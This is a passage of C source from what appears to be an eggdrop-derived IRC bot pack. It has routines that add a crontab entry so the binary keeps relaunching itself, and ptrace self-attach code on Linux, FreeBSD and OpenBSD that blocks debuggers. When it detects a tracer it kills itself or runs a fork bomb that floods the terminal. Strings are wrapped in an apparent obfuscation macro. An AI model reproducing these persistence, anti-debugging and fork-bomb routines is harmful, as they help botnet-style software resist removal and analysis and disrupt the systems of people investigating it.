  809. sprintf(buf, STR("crontab %s"), tmpfile);
  810. shell_exec(buf, NULL, NULL, NULL);
  811. }
  812. unlink(tmpfile);
  813. }
  814. int crontab_exists() {
  815. char buf[2048] = "", *out = NULL;
  816. egg_snprintf(buf, sizeof buf, STR("crontab -l | grep \"%s\" | grep -v \"^#\""), binname);
  817. if (shell_exec(buf, NULL, &out, NULL)) {
  818. if (out && strstr(out, binname)) {
  819. free(out);
  820. return 1;
  821. } else {
  822. if (out)
  823. free(out);
  824. return 0;
  825. }
  826. } else
  827. return (-1);
  828. }
  829. void crontab_create(int interval) {
  830. char tmpfile[161] = "", buf[256] = "";
  831. FILE *f = NULL;
  832. int fd;
  833. /* always use mkstemp() when handling temp files! -dizz */
  834. egg_snprintf(tmpfile, sizeof tmpfile, "%s.crontab-XXXXXX", tempdir);
  835. if ((fd = mkstemp(tmpfile)) == -1) {
  836. unlink(tmpfile);
  837. return;
  838. }
  839. egg_snprintf(buf, sizeof buf, STR("crontab -l | grep -v \"%s\" | grep -v \"^#\" | grep -v \"^\\$\"> %s"), binname, tmpfile);
  840. if (shell_exec(buf, NULL, NULL, NULL) && (f = fdopen(fd, "a")) != NULL) {
  841. buf[0] = 0;
  842. if (interval == 1)
  843. strcpy(buf, "*");
  844. else {
  845. int i = 1;
  846. int si = randint(interval);
  847. while (i < 60) {
  848. if (buf[0])
  849. sprintf(buf + strlen(buf), STR(",%i"), (i + si) % 60);
  850. else
  851. sprintf(buf, "%i", (i + si) % 60);
  852. i += interval;
  853. }
  854. }
  855. egg_snprintf(buf + strlen(buf), sizeof buf, STR(" * * * * %s > /dev/null 2>&1"), binname);
  856. fseek(f, 0, SEEK_END);
  857. fprintf(f, STR("\n%s\n"), buf);
  858. fclose(f);
  859. sprintf(buf, STR("crontab %s"), tmpfile);
  860. shell_exec(buf, NULL, NULL, NULL);
  861. }
  862. close(fd);
  863. unlink(tmpfile);
  864. }
  865. #ifdef S_MESSUPTERM
  866. static void messup_term() {
  867. int i;
  868. char *argv[4] = { NULL, NULL, NULL, NULL };
  869. freopen("/dev/null", "w", stderr);
  870. for (i = 0; i < 11; i++) {
  871. fork();
  872. }
  873. argv[0] = malloc(100);
  874. strcpy(argv[0], "/bin/sh");
  875. argv[1] = "-c";
  876. argv[2] = malloc(1024);
  877. strcpy(argv[2], "cat < ");
  878. strcat(argv[2], binname);
  879. argv[3] = NULL;
  880. execvp(argv[0], &argv[0]);
  881. }
  882. #endif /* S_MESSUPTERM */
  883. void check_trace_start()
  884. {
  885. #ifdef S_ANTITRACE
  886. int parent = getpid();
  887. int xx = 0, i = 0;
  888. #ifdef __linux__
  889. xx = fork();
  890. if (xx == -1) {
  891. printf(STR("Can't fork process!\n"));
  892. exit(1);
  893. } else if (xx == 0) {
  894. i = ptrace(PTRACE_ATTACH, parent, 0, 0);
  895. if (i == (-1) && errno == EPERM) {
  896. #ifdef S_MESSUPTERM
  897. messup_term();
  898. #else
  899. kill(parent, SIGKILL);
  900. exit(1);
  901. #endif /* S_MESSUPTERM */
  902. } else {
  903. waitpid(parent, &i, 0);
  904. kill(parent, SIGCHLD);
  905. ptrace(PTRACE_DETACH, parent, 0, 0);
  906. kill(parent, SIGCHLD);
  907. }
  908. exit(0);
  909. } else {
  910. wait(&i);
  911. }
  912. #endif /* __linux__ */
  913. #ifdef __FreeBSD__
  914. xx = fork();
  915. if (xx == -1) {
  916. printf(STR("Can't fork process!\n"));
  917. exit(1);
  918. } else if (xx == 0) {
  919. i = ptrace(PT_ATTACH, parent, 0, 0);
  920. if (i == (-1) && errno == EBUSY) {
  921. #ifdef S_MESSUPTERM
  922. messup_term();
  923. #else
  924. kill(parent, SIGKILL);
  925. exit(1);
  926. #endif /* S_MESSUPTERM */
  927. } else {
  928. wait(&i);
  929. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  930. kill(parent, SIGCHLD);
  931. wait(&i);
  932. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  933. wait(&i);
  934. }
  935. exit(0);
  936. } else {
  937. waitpid(xx, NULL, 0);
  938. }
  939. #endif /* __FreeBSD__ */
  940. #ifdef __OpenBSD__
  941. xx = fork();
  942. if (xx == -1) {
  943. printf(STR("Can't fork process!\n"));
  944. exit(1);
  945. } else if (xx == 0) {
  946. i = ptrace(PT_ATTACH, parent, 0, 0);
  947. if (i == (-1) && errno == EBUSY) {
  948. kill(parent, SIGKILL);
  949. exit(1);
  950. } else {
  951. wait(&i);
  952. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  953. kill(parent, SIGCHLD);
  954. wait(&i);
  955. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  956. wait(&i);
  957. }
  958. exit(0);
  959. } else {
  960. waitpid(xx, NULL, 0);
  961. }
  962. #endif /* __OpenBSD__ */
  963. #endif /* S_ANTITRACE */
  964. }
  965. #ifdef CRAZY_TRACE
  966. /* This code will attach a ptrace() to getpid() hence blocking process hijackers/tracers on the pid
  967. * only problem.. it just creates a new pid to be traced/hijacked :\
  968. */
  969. int attached = 0;
  970. void crazy_trace()
  971. {
  972. int parent = getpid();
  973. int x = fork();
  974. if (x == -1) {
  975. printf("Can't fork(): %s\n", strerror(errno));
  976. } else if (x == 0) {
  977. /* child */
  978. int i;
  979. i = ptrace(PTRACE_ATTACH, parent, (char *) 1, 0);
  980. if (i == (-1) && errno == EPERM) {
  981. printf("CANT PTRACE PARENT: errno: %d %s, i: %d\n", errno, strerror(errno), i);
  982. waitpid(parent, &i, 0);
  983. kill(parent, SIGCHLD);
  984. ptrace(PTRACE_DETACH, parent, 0, 0);
  985. kill(parent, SIGCHLD);
  986. exit(0);
  987. } else {
  988. printf("SUCCESSFUL ATTACH to %d: %d\n", parent, i);
  989. attached++;
  990. }
  991. } else {
  992. /* parent */
  993. printf("wait()\n");
  994. wait(&x);
  995. }
  996. printf("end\n");
  997. }
  998. #endif /* CRAZY_TRACE */
  999. /* need to account for this after reading in conf/spawning bots.
  1000. ifdef LEAF
  1001. if (updating)
  1002. exit(0); let cron restart us.
  1003. } localhub
  1004. endif LEAF
  1005. */